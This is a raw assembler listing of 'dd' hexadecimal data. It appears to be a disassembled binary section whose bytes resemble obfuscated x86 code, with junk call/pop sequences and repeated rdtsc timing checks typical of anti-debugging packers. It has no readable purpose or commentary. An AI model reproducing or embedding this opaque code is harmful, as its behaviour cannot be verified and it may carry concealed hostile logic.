		dd 0F3D0A79Ch, 428F7936h, 43863192h, 920B5862h,	2B0C8631h
		dd 2217DE08h, 2447004Bh, 0A9796340h, 0A88C38C1h, 214AF5C7h
		dd 0FCA96643h, 13E83304h, 23FA4520h, 0A5CF3154h, 64863466h
		dd 3F9A683h, 12E93620h,	9EA8623h, 0A372453Ch, 41140AD1h
		dd 933E464Ch, 0E3054DC5h, 23F2C914h, 0FC66B96Ch, 7CC6539Dh
		dd 190h, 9B6D3C35h, 380ADDD4h, 0D6A87971h, 6E401D0Fh, 0ADCB1A7h
		dd 8D83F738h, 2C1FE6B8h, 0C4B87F51h, 5D5219EBh,	5E9BB486h
		dd 25752774h, 0E1DF2080h, 9E7B5046h, 0CCAAF7E1h, 0CAAB8631h
		dd 0C1B67DA7h, 626018EAh, 947E5BC9h, 8C38DE78h,	0E53011h
		dd 39846153h, 8CDD3F62h, 61802ABBh, 4E2A8F8h, 0CBC2FF3Fh
		dd 6636123h, 254C696Ch,	4A23BBDEh, 0C2F169C0h, 0A8h, 7A5146FAh
		dd 81645A2Fh, 31CD4A97h, 9B6A4B86h, 0D1BC3E50h,	0C1B68631h
		dd 0C49B69BBh, 804FBEA1h, 2DFEF6A3h, 0BEE80BE2h, 0E02B02F7h
		dd 43200427h, 388E8959h, 4A93718Ch, 46BDC57Ch, 5CA78275h
		dd 7593B685h, 1417C294h, 0C0493310h, 0B18633D1h, 5046F3D0h
		dd 0ECE2A97Bh, 109AA9E8h, 3504A672h, 0FCDDB17Eh, 98E26F9Dh
		dd 0ACh, 0B7895851h, 5426F9F0h,	0F2C4958Dh, 8A5C392Bh
		dd 26F8CDC3h, 0A99F1354h, 483B02D4h, 0E0D49B6Dh, 796E3507h
		dd 7AB7D0A2h, 25754390h, 5034480h, 8B7D5046h, 460DDFAEh
		dd 0F0A87A51h, 0A85B5836h, 326CA0BEh, 1EF5EA0Fh, 3409FED3h
		dd 0C5976641h, 179B10EEh, 0C1EC13FEh, 0DA2502F4h, 54D7E003h
		dd 2809F3D0h, 698C3DEFh, 73683D88h, 0E03CA9Ch, 5DDAEC37h
		dd 0D8CB8170h, 0DCD18FD7h, 776C3305h, 8E8055A0h, 66F6D4B1h
		dd 694DED56h, 0D81DC0E3h, 0E7341EDBh, 0E038E128h, 8DD5DCFFh
		dd 3103DACFh, 539E756Ah, 309h, 67673100h, 337E4D46h, 4792695Eh
		dd 5AA57E72h, 6CB79285h, 81CCA197h, 96E1B6ACh, 0A7F2CFC1h
		dd 0BE09DAD2h, 0D41FF2E9h, 0E7895788h, 4BA52h, 0D7010000h
		dd 4EF835Ah, 5C243C87h,	31FB68h, 24148900h, 81E28952h
		dd 4C2h, 4EA8300h, 5C241487h, 0BA243C89h, 6CF20665h, 2539F281h
		dd 0DA876FFDh, 81DA8743h, 2D786EAh, 4EC81FDh, 89000000h
		dd 4812424h, 424h, 55515F00h, 0E989D589h, 84F895Dh, 2434FF59h
		dd 4C4815Fh, 8B000000h,	89572414h, 4C781E7h, 83000000h
		dd 3C8704C7h, 61E95C24h, 0F3FFFBE7h, 0FF0FE9B5h, 5D0A1959h
		dd 0C6B86778h, 3060C59h, 0B8E0FFC5h, 103C038Eh,	0A0652C71h
		dd 0F02D02C9h, 0C15342E9h, 7C75C7C8h, 2531B3A0h, 140F4508h
		dd 5621CB9Ch, 0F566C3A3h, 0E603F08Eh, 1C18141Eh, 53D1637h
		dd 0F8200A08h, 0B16B30D0h, 0BE6B5C90h, 0E012C812h, 6760953h
		dd 0C83C69DFh, 0C7238943h, 4F456C56h, 25004061h, 8D08A5E3h
		dd 0C5BC28Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 9D89E4EDh, 607153Dh, 1175BD8Bh, 0CE90607h
		dd 0BF000000h, 1105A769h, 0A7D144A3h, 892AD8BDh, 71AD98Dh
		dd 7E95706h, 39000000h,	2B7DFB62h, 0C75E0671h, 7101D85h
		dd 6F6C06h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 14236FBAh, 607F6E4h, 38C0Fh, 8B660000h
		dd 0C880FC2h, 0F000000h, 68Dh, 9BD8900h, 0C7060733h, 7330585h
		dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 9938C01Ch, 0F0F00915h, 10E98FF1h
		dd 9C000000h, 4477D0CBh, 76A614B5h, 9DB26053h, 66D77548h
		dd 0CD40CF81h, 5E9h, 868FE00h, 0B5FF923Fh, 60712B5h, 185995FFh
		dd 8F0F0607h, 6, 2AF99531h, 6A0607h, 0D6995FFh,	0C08B0607h
		dd 475168EBh, 0A6A4FDC0h, 0D5164D46h, 0EB700C6Ah, 26F16911h
		dd 8FE2DC9Bh, 6C3446AFh, 4C006AB1h, 0E834E29h, 9E50A51Eh
		dd 2644D205h, 119F5A30h, 0D46A0D35h, 0C0FD84D6h, 2B4D6D13h
		dd 6D4DA721h, 0E4EA94D7h, 0BFCFE7Ch, 3A4243BAh,	0FCD598C6h
		dd 9A50A1A8h, 1B635D57h, 0E16D5F35h, 474F19C4h,	3715C77Eh
		dd 4C015A8Ah, 9E8DC78h,	0E5000000h, 0FDD74CE6h,	9EB293A1h
		dd 59C38B66h, 4807B866h, 6DBDC181h, 0EE90000h, 9E000000h
		dd 5756168Ch, 8593A209h, 8E15ECE6h, 1B38684Eh, 95890000h
		dd 6071EF9h, 31FFFC5Bh,	5EFEBF0Fh, 94EF8166h, 0ACEE81EBh
		dd 0E97291D8h, 0Eh, 0EB196865h,	5C0A3EE8h, 0D8026691h
		dd 0F681B3A9h, 7F7362DFh, 0CB18D29h, 0F6810607h, 9395E28h
		dd 48DBD31h, 31890607h,	2615BD89h, 0E9810607h, 290C7A4Eh
		dd 0AE960h, 45020000h, 300D4BD6h, 25072BFBh, 11E8h, 87092200h
		dd 497FD651h, 5B5DFFF3h, 51A93604h, 58F82BA0h, 4AC18161h
		dd 23290C7Ah, 71E6185h,	1EB8306h, 12850Fh, 0B5890000h
		dd 6070795h, 17E9h, 0E0957F00h,	9EF83CB7h, 2918503h, 5BE90607h
		dd 2DFFFFFFh, 0B75D83F3h, 0B0E9h, 8C666000h, 4C2F6DAh
		dd 0C850Fh, 853B0000h, 607059Dh, 36840Fh, 853B0000h, 6071085h
		dd 2A840Fh, 853B0000h, 60729E5h, 1E840Fh, 853B0000h, 6071FFDh
		dd 12840Fh, 0BD830000h,	6072C75h, 5840F01h, 0E9000000h
		dd 5Fh,	5203D08Bh, 88BA8B3Ch, 8B000000h, 0C985784Ah, 49840Fh
		dd 0C2810000h, 0F8h, 30C728Bh, 1C598BC8h, 314518Bh, 850B8BD8h
		dd 10840FC9h, 3B000000h, 17820FCEh, 3B000000h, 0F830FCFh
		dd 83000000h, 0F4A04C3h, 0FFFFDC85h, 0DE9FFh, 9D8D0000h
		dd 6074B9Bh, 5B8h, 61E3FF00h, 0E9D00BC3h, 19Dh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0FEC35040h, 6C71713Ch
		dd 0F605F3Ch, 68Dh, 800F00h, 60000000h,	12E8h, 0C017FF00h
		dd 2F2F05ADh, 5F0D68A9h, 32EBDB5h, 5A70AA79h, 0B58D6161h
		dd 60C5EACh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	18C35242h, 32EA9240h, 8D285161h, 0A481785h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 4E7CD448h, 0BE86038h, 9E000000h, 816AC853h, 6B89CC0Eh
		dd 0B55F6B2Ah, 0D0FF6174h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 7AC35040h, 2AA18243h,	8B6660C3h, 95E2B8CEh
		dd 66614C6Eh, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 67C826C3h, 800FFED2h, 2,	0C1F66160h
		dd 5E840F04h, 0E9000000h, 0Dh, 4610EE72h, 40A20487h, 179482BCh
		dd 0E830F3Fh, 60000000h, 810Fh,	890F0000h, 0
		dd 8BFB8B61h, 0AEC032CBh, 0CF2BFD75h, 0F92BD9F7h, 8B49D78Bh
		dd 0CD00EBD9h, 1013F20h, 74C00B00h, 0C708D18h, 0CB8BFA8Bh
		dd 490A75A6h, 1B8FA75h,	0EB000000h, 0EB008B09h,	0B8E4h
		dd 0E9CF0000h, 10h, 94751F35h, 343E0AB0h, 6B3E2B84h, 0DF894861h
		dd 10E9h, 285F4A00h, 18DB7AF8h,	4A75DD9Eh, 8985BCF9h, 1E85C7D2h
		dd 3F060C5Fh, 0E8000101h, 13h, 0BDA29BFCh, 0B257DA5h, 0D6D8094Dh
		dd 403CDF60h, 0E9D318D6h, 0Fh, 7788670Eh, 0FE40D4ECh, 0C940B5D8h
		dd 5BD3BBBFh, 0AE9h, 5967D500h,	0BE7A2DB1h, 812CA9FBh
		dd 5E6CC3h, 14E900h, 639D0000h,	642D43DBh, 0EAAF77Fh, 0EC778867h
		dd 0D8FE40D4h, 0C02B40B5h, 5E8h, 0FF7A5400h, 0FA8B13DAh
		dd 3148B5Fh, 6A5E0FB9h,	10F2816Eh, 66791025h, 817F59BFh
		dd 0E9650CC2h, 5FF95376h, 0EB36F281h, 66524C53h, 530ADF81h
		dd 5603048Fh, 0F181665Fh, 0E883245Bh, 0E2BE6602h, 814848D7h
		dd 0FFA274F8h, 20850FFFh, 0E9000000h, 11h, 0B156B805h
		dd 0C0DF142Ch, 13669025h, 0CEC8C7BBh, 1EE9E3h, 3ABA0000h
		dd 0F580A58Eh, 0FFFF94E9h, 0FD7A62FFh, 40145F26h, 0B659123Eh
		dd 0C4B8B37Bh, 4131A406h, 60EBh, 17h dup(0)
		dd 91E90000h, 0E900000Bh, 0B85h, 0C68F468h, 1CADE906h
		dd 2068FFFBh, 0E9060C6Ah, 0FFFB1CA3h, 0C6A7368h, 1C99E906h
		dd 1041FFFBh, 0D39E075h, 836DD72h, 231D86Dh, 0F82BD267h
		dd 152DC85Dh, 0F98E275Ah, 0F3882552h, 0F2871A4Ch, 0E77C1B4Bh
		dd 4DBEAC1Ah, 98439792h, 0A225AF81h, 31AE61AAh,	72735DC7h
		dd 7F01A845h, 0D30691BEh, 650CA142h, 74FBA235h,	7A08AF42h
		dd 2AAA44F7h, 9F892D85h, 2DD4719Eh, 4CE273A6h, 7DC7FC9h
		dd 46593DF5h, 4E740098h, 0F811FB9Ch, 85B53E71h,	23AA51F2h
		dd 2BB259F4h, 2DBB62FDh, 6F0CD7AAh, 5D47381Fh, 0EE95305Ch
		dd 2FC5BD45h, 97E5F141h, 8F27AA47h, 9AC0BF3Ch, 572A240Eh
		dd 386811C1h, 47E87FAFh, 1C1D07A0h, 12C055F0h, 1E037462h
		dd 7B4E4397h, 0F0E46E91h, 1E076C5Ah, 6F424397h,	761141C8h
		dd 0FC2C6FE1h, 0C2140F69h, 13967F0Ah, 0D94C2E2Ah, 0FC6D410Ch
		dd 4749A37Bh, 7C20917Fh, 986B49A3h, 26FC56F7h, 4DA225B4h
		dd 31F6F9A1h, 0F0F54E38h, 0A1CAF3Eh, 3Ch, 0C25D8932h, 0CC98821Bh
		dd 318B7F0Ah, 0B8497C25h, 67D8C6CEh, 0A449A3F2h, 1240C9FBh
		dd 9637D077h, 0C4F1B2ACh, 0CFFB8229h, 4FF08930h, 0B12554AEh
		dd 0B65002Ch, 4A32E4F6h, 0A8000000h, 78C37F0Ah,	71C9DE80h
		dd 255AB455h, 0CBB5507Ch, 0F264D5C3h, 287149A3h, 0A0CD5CF5h
		dd 24C55E05h, 7FF0DE8Eh, 0CA49A3F2h, 25410DF7h,	69FCC75h
		dd 2C501Ch, 75250B65h, 238643F2h, 0A87CDB92h, 49A39D37h
		dd 8EC5AF82h, 8A820A7Ch, 0F7D006F4h, 986B47A2h,	0E7B825F1h
		dd 2E5439Ch, 0CB23B234h, 83B91FB5h, 1D000001h, 16877525h
		dd 6149A3F2h, 0F781A48Eh, 167F6D03h, 5149A3F2h,	2050D77Eh
		dd 2C7EF085h, 140F69FCh, 9D7F0AC2h, 9831D86Bh, 0B4269DF7h
		dd 0AEB411D4h, 53EB1Ch,	0A4F0000h, 0D5709D7Fh, 41B2A02Eh
		dd 8C49A3F2h, 948218B9h, 49A3F223h, 0A0FA9B6Eh,	0F2C63725h
		dd 3E1149A3h, 990AF8A8h, 0E449A3F2h, 255B2711h,	9AC7507Ch
		dd 1ABB54FBh, 0E8F0DA73h, 65002C74h, 5EF726CFh,	0E4F6A874h
		dd 0B44D7C25h, 8F8A740Dh, 3Fh, 8B7F0A05h, 0A79545F5h, 49A3F236h
		dd 69DAAE81h, 0D349A3F2h, 4CB33013h, 27FA8291h,	7525713Dh
		dd 0A3F21687h, 8E275A49h, 7C174506h, 0FBE9F1DBh, 49A3F28Ah
		dd 25E23C97h, 65002CB1h, 0AE4F60Bh, 8F68C80h, 49A3F2ABh
		dd 0D55C03D6h, 0B7D12A5h, 0F69FC2Ch, 7F0AC214h,	7C25318Bh
		dd 0FF9ECA49h, 0FB6D745Eh, 0AEB411D4h, 48EB1Ch,	0A4F0000h
		dd 4CF58B7Fh, 48E18819h, 0B57A11DFh, 826CFA42h,	0C63725B6h
		dd 1149A3F2h, 0B125E43Eh, 0B44D7C25h, 898A740Dh, 6EDFCD5Dh
		dd 0B949A3F2h, 8E2957E6h, 7EAE57EDh, 0F631FDE7h, 4632E4h
		dd 0C36C0000h, 0B750F796h, 752501CDh, 0A3F21687h, 0DDC66149h
		dd 0C64471B0h, 40634DEEh, 4A3D3B5h, 635C45Dh, 8A2BC46Bh
		dd 0C6372530h, 0D349A3F2h, 7C251E78h, 0C7CFB94Ch, 65002C53h
		dd 25A8F60Bh, 0D4CE067Ch, 86523CF7h, 0FC32h, 800AA800h
		dd 9646F68Ch, 0A3F237A8h, 0C5AF8249h, 0A3F2167Fh, 0E87E5149h
		dd 0F2D94A38h, 512449A3h, 97C74E67h, 0AE643E38h, 2AF58191h
		dd 937BE453h, 841ABBFDh, 0F31FA8DBh, 7314AD54h,	424933CCh
		dd 69FC2CD0h, 25C2140Fh, 74CFD4A2h, 0E77D03D5h,	0A37588F9h
		dd 1600D349h, 1A7468F3h, 0DAC87826h, 49A3F269h,	0F178E1B4h
		dd 870159DEh, 257B4731h, 0F2168775h, 8E6149A3h,	0B49A4BA4h
		dd 54401CAEh, 68000000h, 0A70FFDE5h, 0A039E077h, 7F255737h
		dd 7C25C995h, 0A8CBB550h, 1093291Dh, 0B4BCC99Ch, 26F2DC59h
		dd 0F2C63725h, 501149A3h, 4DE3841Dh, 0F23EAF9Dh, 0C18949A3h
		dd 0A3F262D3h, 39DAAD49h, 0B125834Fh, 0B65002Ch, 7C25E4F6h
		dd 7710B74Ah, 27928Dh, 0A080000h, 25318B7Fh, 79ACC75h
		dd 97DDC760h, 49A3F226h, 54C5B363h, 9F49A3F2h, 4FAAE2CCh
		dd 2CB125F5h, 0F60B6500h, 69FC2CE4h, 0C43523D3h, 0F49A3F2h
		dd 0E283224Eh, 2658DFF8h, 33D46F9Dh, 30C7F79Eh,	0F252BD89h
		dd 65AE49A3h, 0BC3D6DDBh, 2B8DF68Fh, 3AC54B5Eh,	2CD36809h
		dd 2AD369FCh, 58715BFAh, 0FE9A47CAh, 0D942D306h, 372189F1h
		dd 0FA32EF48h, 0D25FDC77h, 3B259EF9h, 0B8E856E0h, 1CC93A28h
		dd 411449A3h, 0BA420BA0h, 0D37C2CC2h, 0D81E08A7h, 47A221A2h
		dd 1687753Dh, 61439C11h, 7A46ED8Eh, 439C110Dh, 0CF01AA3Ah
		dd 0DC7D1846h, 478997F2h, 1FB6A18Eh, 256EB538h,	399191E0h
		dd 56BFC98Fh, 2A149F9Ch, 1736h,	0FC2C9A00h, 85F6C269h
		dd 0E549A3F2h, 74A4929Ch, 74A24BE1h, 76E8EFD9h,	0C269FC2Ch
		dd 3999119h, 0F1F46553h, 0B3849A3h, 0AA32CB72h,	7B1648D7h
		dd 0A79B8991h, 0BE479811h, 7FAC55EBh, 0BCA63FE6h, 7E64ECB5h
		dd 7D13B451h, 0EFA777FAh, 0F25BD8B3h, 0AA6702FFh, 0F2FAE434h
		dd 96AACE04h, 0EF966941h, 909AB623h, 3600E33Dh,	0C21825B0h
		dd 42B725h, 0A1B0000h, 4DF68C80h, 949C8621h, 0A3F245A6h
		dd 86B96249h, 0C1AB44EBh, 0AE5EF4C7h, 85A3E2Bh,	76608AB0h
		dd 8CBE4775h, 18B952F9h, 73E4D282h, 0BE49A30Eh,	80AAD623h
		dd 71128842h, 31DF8087h, 55000000h, 42C4800Ah, 75B4D24Ch
		dd 0B7A53BDCh, 49A3035Ah, 6C1CB285h, 143FB2E9h,	0AF42C3Ch
		dd 0AA40DB09h, 4E9B0CFAh, 25E649A3h, 1EB75EF9h,	1A8C937Dh
		dd 1A732h, 810AA800h, 0C2142F89h, 0F69FC2Ch, 0B34E7C25h
		dd 8289730Ch, 4F7C2510h, 7273CCB6h, 681CAEB4h, 38h, 89810ACCh
		dd 0CC75252Fh, 0D91F099Ch, 49A3F268h, 2586E0B3h, 10B74A7Ch
		dd 11858D77h, 0DF9BFE2Ch, 4EB38723h, 0F660BA5Bh, 3E32E4h
		dd 0E96C0000h, 42CCC9Ah, 76422CD6h, 0F389810Ah,	957F1E4Ah
		dd 507C25C9h, 8B750EB5h, 0F2249583h, 0D63149A3h, 5689740h
		dd 0A3DA7678h, 0C36A0BF4h, 2574402Ah, 0CFB94C7Ch, 0FE2C53C7h
		dd 0E4F60963h, 497BFC2Ch, 0CD6E07AEh, 0D6861473h, 0F2C73826h
		dd 3F1249A3h, 0A3F1FA6Bh, 88724549h, 0C37F0ABCh, 116670E0h
		dd 0BBEE7DDBh, 70F3892Ah, 915526F5h, 531F0920h,	11D4B426h
		dd 0D71CAEB4h, 0F2C83927h, 4B1346A3h, 0A3F1EC5Dh, 0C3643746h
		dd 0F2CE3F2Dh, 461946A3h, 41685Ch, 0ACC0000h, 25318B7Fh
		dd 0A3F2C637h, 0E43E1149h, 9CCC7525h, 0DFC96209h, 77002C13h
		dd 6C05AC4Bh, 5D8C35CBh, 9A841DC4h, 32E4F6CEh, 6Ch, 5DCEBC6Ch
		dd 0A849A3F2h, 0F281F2E0h, 0F9CC49A3h, 25A26E58h, 12B94C7Ch
		dd 0E16C8F79h, 752593EDh, 0A3F21687h, 0F9C88049h, 5636EED0h
		dd 911FBCEh, 4ABBA959h,	9549A3A4h, 2192D8C2h, 2E49A3A4h
		dd 0F4BA3DD3h, 0C83927A9h, 1349A357h, 0E57AD740h, 0E1B181ECh
		dd 0A54661DCh, 0B125EFBBh, 0CF65002Ch, 0F2C0311Fh, 380B49A3h
		dd 0E4F6824Eh, 16877525h, 6149A3F2h, 71A3A48Eh,	1EA12FD6h
		dd 43BD0099h, 5BA18B80h, 49A3ECEDh, 96808EC7h, 0CA3CD164h
		dd 0D167FA2Ch, 755FFA28h, 22A3D55Ch, 20AE55F0h,	0A3F2C132h
		dd 98390C49h, 399F50F7h, 3B4ECBB6h, 735D4431h, 0EE200E18h
		dd 0F7D2BE53h, 549A3BBh, 0AF02B81Eh, 0FE202219h, 9A4AFFFFh
		dd 0A3A33BACh, 0C9B38649h, 0F27AE7FDh, 8C7949A3h, 0C949A3F1h
		dd 6953EE20h, 0A3F1B723h, 0F145B249h, 0D28249A3h, 0A3F173E4h
		dd 1EBBE49h, 0A3F14EBBh, 0F1E04D49h, 7A0289A3h,	84B524BAh
		dd 15B61D5Eh, 70E1CF7Fh, 0BB89A3ACh
		dd 9BE17FE8h, 0BFF05765h, 6D1DCDD5h, 0A3890E7Fh, 9C865989h
		dd 9C384E56h, 0BB28587h, 4CE2DA62h, 98A6D45Eh, 663C0F81h
		dd 307F639Eh, 9B8C0D3Ch, 38000002h, 32D96E07h, 2BD26706h
		dd 26CD62FDh, 22C95EF7h, 26C156EFh, 8520530Eh, 811C49F0h
		dd 801345ECh, 811444EBh, 0C3B11FECh, 43978A52h,	2CB4869Dh
		dd 19C269FCh, 0DD78AB91h, 66FC9D36h, 98117878h,	0D0E9147h
		dd 8C5F712Eh, 582B250Fh, 0F96AD7C3h, 48C4396h, 9FCD760Ch
		dd 0DAC45D04h, 1998E4D2h, 975F418Bh, 8A9938A9h,	0B94C7C3Dh
		dd 27BD5E31h, 30EF4E7Eh, 0DA04163Dh, 0CC73123Eh, 5CF19233h
		dd 5CF285B5h, 9D632DD9h, 0B7460CDCh, 0B24BF285h, 7821AFC8h
		dd 0E147B049h, 9B306587h, 0D53A806Ah, 0E73D8A08h, 0AB46795Fh
		dd 34CA6B04h, 7E284E46h, 0FC92653Bh, 0EF842353h, 0D67D1848h
		dd 17ADA52Dh, 71C83529h, 0D2794C35h, 13A9A129h,	0FBD73E6Ah
		dd 3D7D6B25h, 30C97011h, 503E46h, 0C72F660Bh, 85B55EF4h
		dd 3A75D804h, 916B2C45h, 0C44BF293h, 0C0590091h, 0CA63901Fh
		dd 3DE69429h, 898A740Fh, 4B17BE59h, 2B6516DEh, 0EA807800h
		dd 5905FCFCh, 0A9502329h, 0EA807800h, 5797AAFCh, 0CCA27523h
		dd 0D63C84F2h, 6F50D100h, 0C000001h, 0EB54ADBh,	7AE43E2h
		dd 2A93ED9h, 0FEA53AD3h, 0AA53ACBh, 710437F2h, 6D0835DCh
		dd 64FF31D8h, 5DF828CFh, 9F8DFBC8h, 4397882Eh, 0A906279h
		dd 6F48A82h, 47981206h,	0AB35A2Dh, 6F48A82h, 41968F58h
		dd 5E7A5023h, 24F07D6Bh, 11C74F5h, 88B90000h, 85B158EDh
		dd 80AE55EAh, 7AA950E5h, 70A34ADFh, 8DA540D5h, 71069FD2h
		dd 6B009DCAh, 6AFF92C4h, 5FF493C3h, 0C5362492h,	10439788h
		dd 820A27F9h, 9B44F48Ah, 9CE2CC6Bh, 479811A4h, 0BA41E8BBh
		dd 0AF56EB8Ah, 9841E87Fh, 0A2FC5010h, 0C86F0636h, 0B321C62Fh
		dd 0ECC95AA5h, 8D2EAA06h, 67D356ECh, 0DA950F82h, 0A18F9781h
		dd 418B7255h, 8D285B1Ch, 9233D2FEh, 8B2A56FDh, 86214FF6h
		dd 821B4AF1h, 0EA0669ECh, 0C6C99EC0h, 0FB2ED5DCh, 3551D46Ah
		dd 0BE3D95E3h, 7B1D532Dh, 0FF100F12h, 34670E15h, 38650CA1h
		dd 6957079Dh, 3D8A67F8h, 7F867043h, 760BA6D8h, 5AED1FC8h
		dd 14FF52B3h, 0B0EF6667h, 0F424250Fh, 751ECC61h, 6E07AE49h
		dd 0B7568384h, 0B0497821h, 6C56F121h, 0DF0EB765h, 23119F46h
		dd 3D8A9EB2h, 9F892AFDh, 66FCF47Ch, 7EBE2C78h, 7920F33Bh
		dd 8E23C2F2h, 1DEDh, 0A5A42700h, 82D9A57Fh, 0E984B241h
		dd 0F3BFA942h, 0F0497C25h, 0F511669h, 0F4DE7F75h, 0FB2C4325h
		dd 0C3CC36Ah, 194BD279h, 2350D77Eh, 295CE38Ah, 376AF198h
		dd 4170F79Eh, 4C7A01A8h, 57830AB1h, 686711B8h, 7B20h, 53240489h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 3C895C24h,	63A26824h
		dd 2C890000h, 4B85024h,	48575D79h, 4907B951h, 0C8014631h
		dd 0F4054059h, 2D2E7F59h, 0C601BB14h, 5458C789h, 81242C8Bh
		dd 4C4h, 8B85000h, 1000000h, 8B3889E8h,	0C4812404h, 4
		dd 57242C8Bh, 0C781E789h, 4, 4C781h, 3C870000h,	3C8B5C24h
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 0FB113EE9h
		dd 64BFACFFh, 0BB6C3601h, 97AA260Eh, 6BB4B812h,	0C503060Ch
		dd 8D8DC38Bh, 60C6CEDh,	5659D89h, 8D890607h, 6071AD9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 11C35040h
		dd 655AB646h, 85C76A4Bh, 607101Dh, 6654h, 2B099589h, 85C70607h
		dd 6073305h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 77C35545h
		dd 21B5FFA1h, 6606070Ah, 0FF4672BFh, 7185995h, 0AE806h
		dd 857D0000h, 0FCAE5FA0h, 0CFF70ADBh, 0FF006A5Bh, 70D6995h
		dd 0EBC08B06h, 0EF7D571Ah, 1B1CDCDDh, 0A522B05Ch, 4D4106Ch
		dd 0B7A1F999h, 20E5D647h, 0E854332Dh, 10h, 98EB69h, 0ABABE1AAh
		dd 9A51E3E5h, 0D8C3991Eh, 6FCB8166h, 6E959E7h, 36000000h
		dd 0B2F11D5Ch, 27C18184h, 0FC000061h, 0B8h, 28A0F00h, 8A000000h
		dd 834FFDCh, 47D78166h,	13E95A0Eh, 48000000h, 0A13C71Ch
		dd 0D36F01Fh, 282548EDh, 7E5FF0FEh, 0F281BFAFh,	60FED37Ch
		dd 0F426EE81h, 0EA815FFAh, 34E3C1ECh, 0DE9h, 0AC9ACF00h
		dd 9DB80286h, 39EC4A46h, 0C281C8B4h, 41B2166Bh,	8E9h, 56A42D00h
		dd 0B3D25A05h, 1148961h, 1B45BD89h, 0BD8B0607h,	60732E9h
		dd 6602E883h, 4848F18Bh, 63C78166h, 0B8F8815Dh,	0FFFFF9Fh
		dd 1985h, 31858900h, 0E9060712h, 23h, 0F0AF291Fh, 0FF191426h
		dd 0FD5FD63h, 62E91B2Bh, 31FFFFFFh, 0B224728Eh,	4D2ABD19h
		dd 95195A32h, 0E844025Ah, 12h, 7E1EB9A7h, 4A0258h, 6A8BDD6Ch
		dd 8FAF0E62h, 958BC012h, 60703ADh, 0DE9605Eh, 78000000h
		dd 9019AF08h, 0FB08C4CAh, 3BCBE583h, 61F78B66h,	735DC681h
		dd 8B660000h, 8BFF2BC1h, 711398Dh, 3734FF06h, 665BD08Bh
		dd 812F94B9h, 6D2911F3h, 9D8B605Bh, 6070D85h, 9E8h, 0F709B200h
		dd 26269204h, 8D8B3BF2h, 6072339h, 0EB81615Bh, 31E03FF3h
		dd 78998B9h, 0C7C3816Ah, 0E84626F5h, 14h, 0FE6CCBF8h, 237DC36Ch
		dd 9095CE2h, 0B94A35BCh, 25A7499Bh, 0CB1BD29h, 53580607h
		dd 8B3E048Fh, 7088985h,	81858B06h, 8306070Eh, 0F8B204EFh
		dd 8D94FF81h, 850FFFFFh, 19h, 2A8D8D8Bh, 2AE90607h, 0FE000000h
		dd 0DB02D37h, 7EF37237h, 1B705CDBh, 56D08140h, 0E94F38B4h
		dd 0FFFFFF5Dh, 90F1CB8Bh, 0C0087352h, 6E37A974h, 1143DFCDh
		dd 13CE9D1h, 4Fh dup(0)
		dd 0BD830000h, 60713A1h, 44840F01h, 0FC000005h,	0E2BA6660h
		dd 0FACB81ACh, 6125D314h, 9CD85C6h, 60430607h, 816680B7h
		dd 61CC66DAh, 6B6F7968h, 0F5250C5h, 68Ch, 0F525000h, 0F585A31h
		dd 0FA8A6031h, 5A61D78Bh, 24348158h, 29CEBF8Ch,	0EB816660h
		dd 0BF0F2DB6h, 8B0F61F2h, 1, 99B5FFF8h,	0F06070Dh, 684h
		dd 61606000h, 8D61D98Bh, 0A703885h, 0E7816006h,	4CCDCDB1h
		dd 61D7B70Fh, 10E9h, 2AC62C00h,	2E301A78h, 838DAD98h, 877BDAD7h
		dd 0FD0FF23h, 0B8Dh, 0C4806000h, 8A0F48h, 61000000h, 1818589h
		dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0BB6A9AC3h, 0CD85C61Ch, 50060709h, 58E0F60h
		dd 66000000h, 1E94CF81h, 13E9h,	50AA5900h, 0E439BC6Dh
		dd 40B92185h, 0FDC1532Dh, 0B12F07Bh, 4E861h, 0AD560000h
		dd 5250A8ADh, 0EE95250h, 6000000h, 81BBC537h, 8A5E14EDh
		dd 72FB698Bh, 60310F8Fh, 0F585A61h, 46BA6031h, 0E96CEBBAh
		dd 8, 0AFDF09EAh, 5DECEE56h, 50585A61h,	12890Fh, 52500000h
		dd 310F5250h, 310F585Ah, 310F5250h, 585A585Ah, 424448Bh
		dd 66D38B60h, 8B61CF8Bh, 50525000h, 0F616052h, 5A616031h
		dd 50310F58h, 0F616052h, 0F525031h, 5A585A31h, 89585A58h
		dd 0F042444h, 88Fh, 2880F00h, 60000000h, 8C0F5861h, 8
		dd 2850Fh, 61600000h, 0D99B5FFh, 8DFC0607h, 0A703885h
		dd 198E0F06h, 60000000h, 5CF083BEh, 0DE92Eh, 6D220000h
		dd 58742186h, 0B9D08DA8h, 6170EBC1h, 8F0FD0FFh,	0Fh, 0AE9h
		dd 98331100h, 0E7EE73B8h, 897763D9h, 72ADD85h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 665B07F1h, 0BFFE91A4h, 1820F86h, 0F9000000h,	4E8h, 8FA82F00h
		dd 0EE9F0h, 0F5490000h,	5FFFE5EFh, 15EFA5B7h, 7254988Fh
		dd 0F525050h, 682h, 0F525000h, 0F585A31h, 0AE931h, 56F60000h
		dd 32DC4BF7h, 0B3D0C713h, 448B585Ah, 0F600424h,	28Fh, 8B616000h
		dd 8B61F9h, 0BE9h, 0E325900h, 0F2A20EFFh, 9FF4757Fh, 4244489h
		dd 14E9h, 83880300h, 0C74355E0h, 4DFB1280h, 0E290C79h
		dd 0E6104E24h, 820F58C1h, 14h, 0FE9h, 6E30DA00h, 1DBEC4B0h
